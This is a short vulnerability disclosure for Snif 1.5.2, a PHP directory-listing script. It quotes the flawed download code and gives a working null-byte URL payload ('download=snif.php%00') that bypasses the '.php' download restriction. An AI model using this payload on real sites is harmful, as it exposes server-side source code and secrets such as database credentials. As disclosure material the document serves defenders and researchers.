Snif 1.5.2 – Any Filetype Download
-------------------------------------------- -: Snif - "Any Filetype" Download Exploit :- -------------------------------------------- Script : Snif - (Simple And Nice Index File) Version : 1.5.2 (possibly lower versions too) Found By : Aodrulez. Email : f3arm3d3ar[at]gmail.com Vulnerability: -------------- Some Default Settings are: $hiddenFilesWildcards = Array("*.php", "*~"); $allowPHPDownloads = false; The first option will prevent any php file from being listed in the directory listing. Second one will prevent download of files with ".php" extension. Even with these options set,we can still download php files....due to the following vulnerable code:- ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ if ($_GET["download"]!="") { $download = stripslashes($_GET["download"]); $filename = safeDirectory($path.rawurldecode($download)); if ( !file_exists($filename) OR fileIsHidden($filename) OR (substr(strtolower($filename), -4)==".php" AND !$allowPHPDownloads)) { ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ The last line in the above code checks the file's extension to make sure its not a php file.This line of code is Vulnerable though Exploit: -------- Lets say the script is located here: http://www.a.com/snif.php The following url will bypass all restrictions and let you download a php file :- http://www.a.com/snif.php?download=snif.php%00 Greetz Fly Out To ----------------- Amforked() : My Mentor. The Blue Genius : My Boss. www.orchidseven.com www.isac.org.in |